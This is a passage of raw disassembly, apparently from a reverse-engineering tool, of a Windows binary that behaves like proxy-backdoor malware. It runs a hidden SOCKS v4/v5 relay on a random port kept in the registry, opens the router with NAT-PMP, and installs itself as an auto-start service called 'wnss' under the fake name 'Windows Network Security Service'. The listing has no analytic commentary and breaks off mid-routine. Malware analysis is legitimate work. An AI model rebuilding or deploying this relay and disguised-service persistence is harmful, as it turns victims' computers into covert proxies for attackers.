sub_404162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40417F proc near ; CODE XREF: sub_4041FB+2Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 0 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov ax, [ebp+arg_C] mov [ebx], ax add ebx, 2 mov eax, [ebp+arg_8] mov [ebx], eax push 8 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_401787 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_40417F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B9 proc near ; CODE XREF: sub_4041FB+47p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 5 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov byte ptr [ebx], 0 inc ebx mov byte ptr [ebx], 1 inc ebx mov eax, [ebp+arg_8] mov [ebx], eax add ebx, 4 mov ax, [ebp+arg_C] mov [ebx], ax push 0Ah lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_401787 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_4041B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041FB proc near ; CODE XREF: sub_4042CD+1F8p ; sub_4042CD+3B4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp push ebx mov bl, [ebp+arg_8] cmp bl, 9 jbe short loc_40420B xor bl, bl inc bl loc_40420B: ; CODE XREF: sub_4041FB+Aj cmp [ebp+arg_0], 4 jnz short loc_404233 movzx eax, bl mov bl, byte_411034[eax] movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_40417F add esp, 10h jmp short loc_40424A ; --------------------------------------------------------------------------- loc_404233: ; CODE XREF: sub_4041FB+14j movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_4041B9 add esp, 10h loc_40424A: ; CODE XREF: sub_4041FB+36j pop ebx pop ebp retn sub_4041FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40424D proc near ; CODE XREF: sub_4042CD+182p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+arg_0] loc_404255: ; CODE XREF: sub_40424D+23j push 1 lea eax, [ebp+var_1] push eax push ebx call sub_4016DC add esp, 0Ch test eax, eax jg short loc_40426C xor eax, eax jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426C: ; CODE XREF: sub_40424D+19j cmp [ebp+var_1], 0 jnz short loc_404255 xor eax, eax inc eax loc_404275: ; CODE XREF: sub_40424D+1Dj pop ebx mov esp, ebp pop ebp retn sub_40424D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40427A proc near ; CODE XREF: sub_4042CD+1B9p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] xor edi, edi mov byte ptr [ebx], 0 loc_40428C: ; CODE XREF: sub_40427A+47j push 1 lea eax, [ebp+var_1] push eax push [ebp+arg_0] call sub_4016DC add esp, 0Ch test eax, eax jg short loc_4042A5 xor eax, eax jmp short loc_4042C6 ; --------------------------------------------------------------------------- loc_4042A5: ; CODE XREF: sub_40427A+25j mov eax, edi inc edi mov dl, [ebp+var_1] mov [ebx+eax], dl mov byte ptr [ebx+edi], 0 lea eax, [esi-1] cmp edi, eax jl short loc_4042BD xor eax, eax jmp short loc_4042C6 ; --------------------------------------------------------------------------- loc_4042BD: ; CODE XREF: sub_40427A+3Dj cmp [ebp+var_1], 0 jnz short loc_40428C xor eax, eax inc eax loc_4042C6: ; CODE XREF: sub_40427A+29j ; sub_40427A+41j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40427A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042CD proc near ; DATA XREF: sub_404967+2D3o ; DMN1:00446F5Bo var_430 = dword ptr -430h var_42B = byte ptr -42Bh var_42A = byte ptr -42Ah var_429 = byte ptr -429h var_428 = dword ptr -428h var_421 = byte ptr -421h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_411 = byte ptr -411h var_410 = dword ptr -410h var_40A = word ptr -40Ah var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 430h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_41C], eax mov edi, [eax+8] mov eax, [ebp+var_41C] mov edx, [eax] mov [ebp+var_410], edx mov dx, [eax+4] mov [ebp+var_40A], dx push eax call sub_401076 pop ecx and [ebp+var_4], 0 mov eax, [ebp+var_410] mov [ebp+var_420], eax push eax call sub_406DE0 mov [ebp+var_418], eax movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectionFrom ; "connection from [%s]\n" call sub_407320 add esp, 0Ch mov [ebp+var_411], 0 mov [ebp+var_421], 0 push 1 lea eax, [ebp+var_411] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A push offset dword_41285C call dword_411CCC push 0 push [ebp+var_410] push dword_412934 call sub_401FE3 add esp, 0Ch mov [ebp+var_428], eax push offset dword_41285C call dword_411CD0 cmp [ebp+var_428], 0 jnz short loc_4043B6 push [ebp+var_418] push offset aConnectionReje ; "connection rejected (from [%s])\n" call nullsub_1 pop ecx pop ecx jmp loc_40493A ; --------------------------------------------------------------------------- loc_4043B6: ; CODE XREF: sub_4042CD+D0j mov [ebp+var_40A], 0 and [ebp+var_410], 0 mov al, [ebp+var_411] cmp al, 4 jz short loc_4043D8 cmp al, 5 jnz loc_40493A loc_4043D8: ; CODE XREF: sub_4042CD+101j push [ebp+var_418] movsx eax, [ebp+var_411] push eax push offset aSocksVIS ; "socks v%i [%s]\n" call nullsub_1 add esp, 0Ch cmp [ebp+var_411], 4 jnz loc_4044D2 push 1 lea eax, [ebp+var_421] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A push 2 lea eax, [ebp+var_40A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A push 4 lea eax, [ebp+var_410] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A push edi call sub_40424D pop ecx test eax, eax jz loc_40493A mov eax, [ebp+var_410] test eax, 0FFFFFFh jnz loc_4046BE test eax, 0FF000000h jz loc_4046BE push 400h lea eax, [ebp+var_408] push eax push edi call sub_40427A add esp, 0Ch test eax, eax jz loc_40493A lea eax, [ebp+var_408] push eax call sub_4017BE pop ecx mov [ebp+var_410], eax test eax, eax jz short loc_4044BC cmp eax, 0FFFFFFFFh jz short loc_4044BC test eax, eax jnz loc_4046BE loc_4044BC: ; CODE XREF: sub_4042CD+1DEj ; sub_4042CD+1E5j push 0 push 0 push 4 push edi push 4 call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_4044D2: ; CODE XREF: sub_4042CD+12Dj cmp [ebp+var_411], 5 jnz loc_40493A mov [ebp+var_429], 0 push 1 lea eax, [ebp+var_429] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jg short loc_404522 jmp loc_40493A ; --------------------------------------------------------------------------- loc_404501: ; CODE XREF: sub_4042CD+25Cj push 1 lea eax, [ebp+var_42A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A sub [ebp+var_429], 1 loc_404522: ; CODE XREF: sub_4042CD+22Dj cmp [ebp+var_429], 0 jnz short loc_404501 mov [ebp+var_430], 5 push 2 lea eax, [ebp+var_430] push eax push edi call sub_401787 add esp, 0Ch test eax, eax jle loc_40493A push 1 lea eax, [ebp+var_42A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A cmp [ebp+var_42A], 5 jnz loc_40493A push 1 lea eax, [ebp+var_421] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A push 1 lea eax, [ebp+var_42A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A mov [ebp+var_42B], 0 push 1 lea eax, [ebp+var_42B] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A cmp [ebp+var_42B], 1 jnz short loc_4045F3 push 4 lea eax, [ebp+var_410] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jg loc_4046A4 jmp loc_40493A ; --------------------------------------------------------------------------- loc_4045F3: ; CODE XREF: sub_4042CD+305j cmp [ebp+var_42B], 3 jnz loc_40468E push 1 lea eax, [ebp+var_429] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A cmp [ebp+var_429], 0 jz loc_40493A movsx eax, [ebp+var_429] push eax lea eax, [ebp+var_408] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A movsx eax, [ebp+var_429] mov [ebp+eax+var_408], 0 lea eax, [ebp+var_408] push eax call sub_4017BE pop ecx mov [ebp+var_410], eax test eax, eax jz short loc_404678 cmp eax, 0FFFFFFFFh jz short loc_404678 test eax, eax jnz short loc_4046A4 loc_404678: ; CODE XREF: sub_4042CD+39Ej ; sub_4042CD+3A5j push 0 push 0 push 4 push edi push 5 call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_40468E: ; CODE XREF: sub_4042CD+32Dj push 0 push 0 push 8 push edi push 5 call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_4046A4: ; CODE XREF: sub_4042CD+31Bj ; sub_4042CD+3A9j push 2 lea eax, [ebp+var_40A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A loc_4046BE: ; CODE XREF: sub_4042CD+19Bj ; sub_4042CD+1A6j ... movzx eax, [ebp+var_40A] push eax call sub_406D98 mov [ebp+var_40A], ax test ax, ax jnz short loc_4046F3 push 0 push 0 push 2 push edi movsx eax, [ebp+var_411] push eax call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_4046F3: ; CODE XREF: sub_4042CD+408j cmp [ebp+var_421], 1 jz short loc_404722 movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push 7 push edi movsx eax, [ebp+var_411] push eax call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_404722: ; CODE XREF: sub_4042CD+42Dj call sub_401359 mov [ebp+var_4], eax test eax, eax jnz short loc_40474A push 0 push 0 push 1 push edi movsx eax, [ebp+var_411] push eax call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_40474A: ; CODE XREF: sub_4042CD+45Fj mov eax, [ebp+var_410] mov [ebp+var_420], eax push eax call sub_406DE0 mov [ebp+var_418], eax movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectingToSI ; "connecting to %s:%i\n" call nullsub_1 add esp, 0Ch movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push [ebp+var_4] call sub_401567 add esp, 0Ch test eax, eax jnz short loc_4047E1 call sub_406DF2 push eax movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n" call nullsub_1 add esp, 10h movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push 4 push edi movsx eax, [ebp+var_411] push eax call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_4047E1: ; CODE XREF: sub_4042CD+4CBj movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectedToSI ; "connected to %s:%i\n" call nullsub_1 add esp, 0Ch movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push 0 push edi movsx eax, [ebp+var_411] push eax call sub_4041FB add esp, 14h test eax, eax jz loc_40493A push offset aTransferringDa ; "transferring data...\n" call nullsub_1 pop ecx xor esi, esi loc_404832: ; CODE XREF: sub_4042CD+64Cj ; sub_4042CD+65Dj inc esi push edi call sub_4014CF pop ecx test eax, eax jl loc_40492F push edi call sub_401542 pop ecx mov ebx, eax test ebx, ebx jl loc_40492F cmp esi, 1Eh jle short loc_40485F test ebx, ebx jnz short loc_40485F xor ebx, ebx inc ebx loc_40485F: ; CODE XREF: sub_4042CD+589j ; sub_4042CD+58Dj test ebx, ebx jle short loc_4048AB cmp ebx, 400h jle short loc_404870 mov ebx, 400h loc_404870: ; CODE XREF: sub_4042CD+59Cj push ebx lea eax, [ebp+var_408] push eax push edi call sub_4016DC add esp, 0Ch mov [ebp+var_8], eax test eax, eax jle loc_40492F push [ebp+var_8] lea eax, [ebp+var_408] push eax push [ebp+var_4] call sub_401787 add esp, 0Ch test eax, eax jle loc_40493A xor esi, esi loc_4048AB: ; CODE XREF: sub_4042CD+594j push [ebp+var_4] call sub_4014CF pop ecx test eax, eax jl short loc_40492F push [ebp+var_4] call sub_401542 pop ecx mov ebx, eax test ebx, ebx jl short loc_40492F cmp esi, 1Eh jle short loc_4048D3 test ebx, ebx jnz short loc_4048D3 xor ebx, ebx inc ebx loc_4048D3: ; CODE XREF: sub_4042CD+5FDj ; sub_4042CD+601j test ebx, ebx jle short loc_404917 cmp ebx, 400h jle short loc_4048E4 mov ebx, 400h loc_4048E4: ; CODE XREF: sub_4042CD+610j push ebx lea eax, [ebp+var_408] push eax push [ebp+var_4] call sub_4016DC add esp, 0Ch mov [ebp+var_8], eax test eax, eax jle short loc_40492F push [ebp+var_8] lea eax, [ebp+var_408] push eax push edi call sub_401787 add esp, 0Ch test eax, eax jle short loc_40493A xor esi, esi loc_404917: ; CODE XREF: sub_4042CD+608j test esi, esi jz loc_404832 push 12Ch call dword_411D00 jmp loc_404832 ; --------------------------------------------------------------------------- loc_40492F: ; CODE XREF: sub_4042CD+56Fj ; sub_4042CD+580j ... push offset aDataExchangeCo ; "data exchange complete\n" call nullsub_1 pop ecx loc_40493A: ; CODE XREF: sub_4042CD+91j ; sub_4042CD+E4j ... push offset aConnectionClos ; "connection closed.\n" call nullsub_1 pop ecx push edi call sub_4014C2 pop ecx cmp [ebp+var_4], 0 jz short loc_40495B push [ebp+var_4] call sub_4014C2 pop ecx loc_40495B: ; CODE XREF: sub_4042CD+683j call sub_407A60 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4042CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404967 proc near ; DATA XREF: sub_406736+62o ; DMN1:00448AB9o var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1A = word ptr -1Ah var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = word ptr -6 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi xor ebx, ebx and [ebp+var_4], 0 and dword_41100C, 0 mov eax, dword_41100C mov [ebp+var_10], eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call dword_411E24 test eax, eax jnz short loc_4049DF lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_24] push eax push 0 push offset aInternalprogra ; "InternalProgramData" push [ebp+var_C] call dword_411E44 test eax, eax jnz short loc_4049D6 mov eax, [ebp+var_10] mov dword_41100C, eax loc_4049D6: ; CODE XREF: sub_404967+65j push [ebp+var_C] call dword_411E2C loc_4049DF: ; CODE XREF: sub_404967+45j push offset aListener___ ; "listener...\n" call nullsub_1 pop ecx lea eax, [ebp+var_1A] push eax call sub_4024A6 pop ecx mov [ebp+var_6], ax test ax, ax jz short loc_404A21 cmp ax, 0FFFFh jz short loc_404A21 movzx eax, [ebp+var_6] cmp dword_411010, eax jz short loc_404A21 movzx eax, [ebp+var_6] mov dword_411010, eax movzx eax, [ebp+var_1A] mov dword_41100C, eax loc_404A21: ; CODE XREF: sub_404967+94j ; sub_404967+9Aj ... call sub_401359 mov dword_411030, eax loc_404A2B: ; CODE XREF: sub_404967+140j cmp dword_41100C, 0 jnz short loc_404A67 loc_404A34: ; CODE XREF: sub_404967+F4j ; sub_404967+FBj lea eax, [ebp+var_4] push eax call sub_401001 pop ecx mov ecx, 9C40h cdq idiv ecx lea eax, [edx+4E20h] mov dword_41100C, eax mov eax, dword_41100C cmp eax, 24EAh jz short loc_404A34 cmp eax, 0BB8h jz short loc_404A34 xor ebx, ebx inc ebx loc_404A67: ; CODE XREF: sub_404967+CBj movzx eax, word ptr dword_41100C push eax push 0 push dword_411030 call sub_4015B7 add esp, 0Ch test eax, eax jnz short loc_404AA9 and dword_41100C, 0 and dword_411010, 0 push dword_411030 call sub_4014C2 pop ecx call sub_401359 mov dword_411030, eax jmp short loc_404A2B ; --------------------------------------------------------------------------- loc_404AA9: ; CODE XREF: sub_404967+11Aj push dword_41100C push offset aSocksPortI ; "SOCKS port: %i\n" call sub_407320 pop ecx pop ecx mov eax, dword_41100C mov dword_411010, eax call sub_403113 mov [ebp+var_14], eax movzx eax, word ptr dword_411010 push eax movzx eax, word ptr dword_41100C push eax push [ebp+var_14] call sub_403322 add esp, 0Ch movzx eax, ax mov dword_411010, eax cmp dword_411010, 0 jnz short loc_404B05 mov eax, dword_41100C mov dword_411010, eax jmp short loc_404B17 ; --------------------------------------------------------------------------- loc_404B05: ; CODE XREF: sub_404967+190j push dword_411010 push offset aNatpmpForwarde ; "NATPMP: forwarded to: %i\n" call sub_407320 pop ecx pop ecx loc_404B17: ; CODE XREF: sub_404967+19Cj movzx eax, word ptr dword_41100C push eax push eax call sub_402B02 pop ecx pop ecx test eax, eax jz short loc_404B30 mov eax, dword_41100C loc_404B30: ; CODE XREF: sub_404967+1C2j test ebx, ebx jz short loc_404B86 mov eax, dword_41100C mov [ebp+var_10], eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call dword_411E24 test eax, eax jnz short loc_404B86 push 4 lea eax, [ebp+var_10] push eax push 4 push 0 push offset aInternalprogra ; "InternalProgramData" push [ebp+var_C] call dword_411E28 push [ebp+var_C] call dword_411E2C loc_404B86: ; CODE XREF: sub_404967+1CBj ; sub_404967+1FCj push 1 push offset dword_411024 call dword_411D04 push 1 push offset dword_41102C call dword_411D04 push offset aStartingCommTh ; "starting COMM thread...\n" call nullsub_1 pop ecx push 0 push 0 push offset sub_40400E call sub_4079D0 add esp, 0Ch push eax call dword_411CF8 push 0C8h call dword_411D00 push 0 push 0 push offset sub_403FEA call sub_4079D0 add esp, 0Ch push eax call dword_411CF8 push 0C8h call dword_411D00 loc_404BF1: ; CODE XREF: sub_404967+2B4j ; sub_404967+2E7j push dword_411030 call sub_401607 pop ecx test eax, eax jz short loc_404C50 lea eax, [ebp+var_2A] push eax lea eax, [ebp+var_28] push eax push dword_411030 call sub_40166C add esp, 0Ch mov edi, eax test edi, edi jz short loc_404BF1 push 0Ch call sub_401048 pop ecx mov esi, eax mov eax, [ebp+var_28] mov [esi], eax mov ax, [ebp+var_2A] mov [esi+4], ax mov [esi+8], edi push esi push 0 push offset sub_4042CD call sub_4079D0 add esp, 0Ch push eax call dword_411CF8 jmp short loc_404BF1 ; --------------------------------------------------------------------------- loc_404C50: ; CODE XREF: sub_404967+298j push 0 push offset dword_41102C call dword_411D04 push dword_411030 call sub_4014C2 pop ecx and dword_411030, 0 call sub_407A60 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404967 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx mov ebx, [ebp+10h] push 44h push 0 lea eax, [ebp-44h] push eax call sub_407690 add esp, 0Ch mov dword ptr [ebp-44h], 44h test ebx, ebx jz short loc_404CB9 push offset asc_40EDE8 ; "\"" lea eax, [ebp-844h] push eax call sub_407730 pop ecx pop ecx jmp short loc_404CC0 ; --------------------------------------------------------------------------- loc_404CB9: ; CODE XREF: DMN0:00404CA2j mov byte ptr [ebp-844h], 0 loc_404CC0: ; CODE XREF: DMN0:00404CB7j cmp dword ptr [ebp+8], 0 jz short loc_404CD9 push dword ptr [ebp+8] lea eax, [ebp-844h] push eax call sub_407750 pop ecx pop ecx jmp short loc_404CEC ; --------------------------------------------------------------------------- loc_404CD9: ; CODE XREF: DMN0:00404CC4j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" lea eax, [ebp-844h] push eax call sub_407750 pop ecx pop ecx loc_404CEC: ; CODE XREF: DMN0:00404CD7j test ebx, ebx jz short loc_404D03 push offset asc_40EDE8 ; "\"" lea eax, [ebp-844h] push eax call sub_407750 pop ecx pop ecx loc_404D03: ; CODE XREF: DMN0:00404CEEj cmp dword ptr [ebp+0Ch], 0 jz short loc_404D2D push offset asc_40EDC9 ; " " lea eax, [ebp-844h] push eax call sub_407750 pop ecx pop ecx push dword ptr [ebp+0Ch] lea eax, [ebp-844h] push eax call sub_407750 pop ecx pop ecx loc_404D2D: ; CODE XREF: DMN0:00404D07j lea eax, [ebp-854h] push eax lea eax, [ebp-44h] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp-844h] push eax push 0 call dword_411D10 test eax, eax jz short loc_404D72 push dword ptr [ebp-850h] call dword_411CF8 push dword ptr [ebp-854h] call dword_411CF8 xor eax, eax inc eax loc_404D72: ; CODE XREF: DMN0:00404D55j pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_404D77 proc near ; CODE XREF: sub_405CA2+21p ; sub_4067B0:loc_406AECp ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E48 mov ebx, eax test eax, eax jz short loc_404DBE push 4 push offset aWnss ; "wnss" push ebx call dword_411E4C mov esi, eax test esi, esi jnz short loc_404DAD push ebx call dword_411E50 xor eax, eax jmp short loc_404DBE ; --------------------------------------------------------------------------- loc_404DAD: ; CODE XREF: sub_404D77+29j push esi call dword_411E50 push ebx call dword_411E50 xor eax, eax inc eax loc_404DBE: ; CODE XREF: sub_404D77+15j ; sub_404D77+34j pop esi pop ebx retn sub_404D77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404DC1 proc near ; CODE XREF: sub_4067B0+3C4p var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E48 mov ebx, eax test eax, eax jz short loc_404E2B push 94h push offset aWnss ; "wnss" push ebx call dword_411E4C mov esi, eax test esi, esi jnz short loc_404E01 push ebx call dword_411E50 xor eax, eax jmp short loc_404E2B ; --------------------------------------------------------------------------- loc_404E01: ; CODE XREF: sub_404DC1+33j xor edi, edi lea eax, [ebp+var_1C] push eax push esi call dword_411E54 test eax, eax jz short loc_404E1B cmp [ebp+var_18], 4 jnz short loc_404E1B xor edi, edi inc edi loc_404E1B: ; CODE XREF: sub_404DC1+4Fj ; sub_404DC1+55j push esi call dword_411E50 push ebx call dword_411E50 mov eax, edi loc_404E2B: ; CODE XREF: sub_404DC1+1Cj ; sub_404DC1+3Ej pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404DC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E32 proc near ; CODE XREF: sub_404EC7+32p ; sub_404F15+39p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx mov ebx, [ebp+arg_0] push 0 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push 0 push 2 push 0FFFFFFFFh push ebx call dword_411E58 test eax, eax jnz short loc_404E74 call dword_411CE8 cmp eax, 430h jnz short loc_404E70 or eax, 0FFFFFFFFh jmp short loc_404EC2 ; --------------------------------------------------------------------------- loc_404E70: ; CODE XREF: sub_404E32+37j xor eax, eax jmp short loc_404EC2 ; --------------------------------------------------------------------------- loc_404E74: ; CODE XREF: sub_404E32+2Aj mov [ebp+var_1C], 1 and [ebp+var_18], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_1C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E5C test eax, eax jnz short loc_404EBF call dword_411CE8 cmp eax, 430h jnz short loc_404EBB or eax, 0FFFFFFFFh jmp short loc_404EC2 ; --------------------------------------------------------------------------- loc_404EBB: ; CODE XREF: sub_404E32+82j xor eax, eax jmp short loc_404EC2 ; --------------------------------------------------------------------------- loc_404EBF: ; CODE XREF: sub_404E32+75j xor eax, eax inc eax loc_404EC2: ; CODE XREF: sub_404E32+3Cj ; sub_404E32+40j ... pop ebx mov esp, ebp pop ebp retn sub_404E32 endp ; =============== S U B R O U T I N E ======================================= sub_404EC7 proc near ; CODE XREF: sub_404FE9+6Dp ; sub_405CA2:loc_405CDAp push ebx push esi push edi xor edi, edi push 0F003Fh push 0 push 0 call dword_411E48 mov ebx, eax test eax, eax jz short loc_404F11 push 96h push offset aWnss ; "wnss" push ebx call dword_411E4C mov esi, eax test esi, esi jz short loc_404F08 push esi call sub_404E32 pop ecx mov edi, eax push esi call dword_411E50 loc_404F08: ; CODE XREF: sub_404EC7+2Fj push ebx call dword_411E50 mov eax, edi loc_404F11: ; CODE XREF: sub_404EC7+18j pop edi pop esi pop ebx retn sub_404EC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F15 proc near ; CODE XREF: DMN0:00405BD9p ; sub_4067B0+428p ... var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi xor esi, esi push 0F003Fh push 0 push 0 call dword_411E48 mov edi, eax test eax, eax jz loc_404FE2 push 16h push offset aWnss ; "wnss" push edi call dword_411E4C mov ebx, eax test ebx, ebx jz short loc_404F71 push ebx call sub_404E32 pop ecx mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_404F6D push ebx call dword_411E50 push edi call dword_411E50 mov eax, esi jmp short loc_404FE2 ; --------------------------------------------------------------------------- loc_404F6D: ; CODE XREF: sub_404F15+44j xor esi, esi jmp short loc_404F81 ; --------------------------------------------------------------------------- loc_404F71: ; CODE XREF: sub_404F15+36j push 14h push offset aWnss ; "wnss" push edi call dword_411E4C mov ebx, eax loc_404F81: ; CODE XREF: sub_404F15+5Aj test ebx, ebx jnz short loc_404F90 push edi call dword_411E50 xor eax, eax jmp short loc_404FE2 ; --------------------------------------------------------------------------- loc_404F90: ; CODE XREF: sub_404F15+6Ej lea eax, [ebp+var_1C] push eax push ebx call dword_411E54 test eax, eax jz short loc_404FA8 cmp [ebp+var_18], 4 jnz short loc_404FA8 xor esi, esi inc esi loc_404FA8: ; CODE XREF: sub_404F15+88j ; sub_404F15+8Ej test esi, esi jnz short loc_404FD2 push 0 push 0 push ebx call dword_411E60 test eax, eax jz short loc_404FC2 mov esi, 2 jmp short loc_404FD2 ; --------------------------------------------------------------------------- loc_404FC2: ; CODE XREF: sub_404F15+A4j call dword_411CE8 cmp eax, 430h jnz short loc_404FD2 or esi, 0FFFFFFFFh loc_404FD2: ; CODE XREF: sub_404F15+95j ; sub_404F15+ABj ... push ebx call dword_411E50 push edi call dword_411E50 mov eax, esi loc_404FE2: ; CODE XREF: sub_404F15+1Ej ; sub_404F15+56j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404F15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE9 proc near ; CODE XREF: sub_405CA2:loc_405CEBp ; sub_4067B0+3F3p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_113 = byte ptr -113h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E48 mov esi, eax test eax, eax jz loc_405124 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push 0 push 2 push 110h push 0F01FFh push offset aWindowsNetwork ; "Windows Network Security Service" push offset aWnss ; "wnss" push esi call dword_411E64 mov ebx, eax test ebx, ebx jnz short loc_405071 call dword_411CE8 cmp eax, 431h jnz short loc_405063 push esi call dword_411E50 call sub_404EC7 xor eax, eax inc eax jmp loc_405124 ; --------------------------------------------------------------------------- loc_405063: ; CODE XREF: sub_404FE9+64j push esi call dword_411E50 xor eax, eax jmp loc_405124 ; --------------------------------------------------------------------------- loc_405071: ; CODE XREF: sub_404FE9+57j push offset aServiceRegiste ; "service registered\n" call nullsub_2 pop ecx xor edi, edi inc edi push 0FFh push offset aProvidesNetwor ; "Provides network security options for s"... lea eax, [ebp+var_113] push eax call dword_411D3C lea eax, 